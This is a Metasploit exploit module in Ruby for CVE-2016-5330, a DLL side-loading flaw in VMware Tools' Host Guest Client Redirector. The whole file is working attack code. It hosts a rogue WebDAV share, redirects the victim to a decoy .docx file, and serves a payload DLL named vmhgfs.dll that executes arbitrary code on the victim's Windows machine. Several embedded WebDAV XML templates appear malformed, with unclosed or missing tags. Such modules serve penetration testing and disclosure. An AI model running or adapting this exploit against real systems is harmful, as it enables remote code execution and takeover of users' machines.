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require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'DLL Side Loading Vulnerability in VMware Host Guest Client Redirector',
'Description' => %q{
A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector,
a component of VMware Tools. This issue can be exploited by luring a victim into
opening a document from the attacker's share. An attacker can exploit this issue to
execute arbitrary code with the privileges of the target user. This can potentially
result in the attacker taking complete control of the affected system. If the WebDAV
Mini-Redirector is enabled, it is possible to exploit this issue over the internet.
},
'Author' => 'Yorick Koster',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-5330'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' => { 'Space' => 2048, },
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x64', {'Arch' => ARCH_X64,} ],
[ 'Windows x86', {'Arch' => ARCH_X86,} ]
],
'Privileged' => false,
'DisclosureDate' => 'Aug 5 2016',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]),
OptString.new('BASENAME', [ true, "The base name for the docx file", "Document1" ]),
OptString.new('SHARENAME', [ true, "The name of the top-level share", "documents" ])
], self.class)
deregister_options('SSL', 'SSLVersion', 'SSLCert')
end
def on_request_uri(cli, request)
case request.method
when 'OPTIONS'
process_options(cli, request)
when 'PROPFIND'
process_propfind(cli, request)
when 'GET'
process_get(cli, request)
else
print_status("#{request.method} => 404 (#{request.uri})")
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
end
def process_get(cli, request)
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
webdav = "\\\\#{myhost}\\"
if (request.uri =~ /vmhgfs\.dll$/i)
print_status("GET => DLL Payload (#{request.uri})")
return if ((p = regenerate_payload(cli)) == nil)
data = generate_payload_dll({ :arch => target['Arch'], :code => p.encoded })
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
if (request.uri =~ /\.docx$/i)
print_status("GET => DOCX (#{request.uri})")
send_response(cli, "", { 'Content-Type' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' })
return
end
if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
print_status("GET => REDIRECT (#{request.uri})")
resp = create_response(200, "OK")
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=file:\\\\#{@exploit_unc}#{datastore['SHARENAME']}\\#{datastore['BASENAME']}.docx"></head><body></body></html>|
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
print_status("GET => 404 (#{request.uri})")
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
end
def process_options(cli, request)
print_status("OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
def process_propfind(cli, request)
path = request.uri
print_status("PROPFIND #{path}")
body = ''
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
if path !~ /\/$/
if blacklisted_path?(path)
print_status "PROPFIND => 404 (#{path})"
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
return
end
if path.index(".")
print_status "PROPFIND => 207 File (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>
<lp1:getcontentlength>
<lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
return
else
print_status "PROPFIND => 301 (#{path})"
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end
print_status "PROPFIND => 207 Directory (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>
<lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
if request["Depth"].to_i > 0
trail = path.split("/")
trail.shift
case trail.length
when 0
body << generate_shares(path)
when 1
body << generate_files(path)
end
else
print_status "PROPFIND => 207 Top-Level Directory"
end
body << "</D:multistatus>"
body.gsub!(/\t/, '')
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end
def generate_shares(path)
share_name = datastore['SHARENAME']
%Q|
<D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>
<lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
end
def generate_files(path)
trail = path.split("/")
return "" if trail.length < 2
%Q|
<D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>
<lp1:getcontentlength>
<lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
end
def gen_timestamp(ttype=nil)
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
end
def gen_datestamp(ttype=nil)
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
end
def blacklisted_path?(uri)
return true if uri =~ /\.exe/i
return true if uri =~ /\.(config|manifest)/i
return true if uri =~ /desktop\.ini/i
return true if uri =~ /lib.*\.dll/i
return true if uri =~ /\.tmp$/i
return true if uri =~ /(pcap|packet)\.dll/i
false
end
def exploit
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
@exploit_unc = "\\\\#{myhost}\\"
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
end
print_status("Files are available at #{@exploit_unc}#{datastore['SHARENAME']}")
super
end
end
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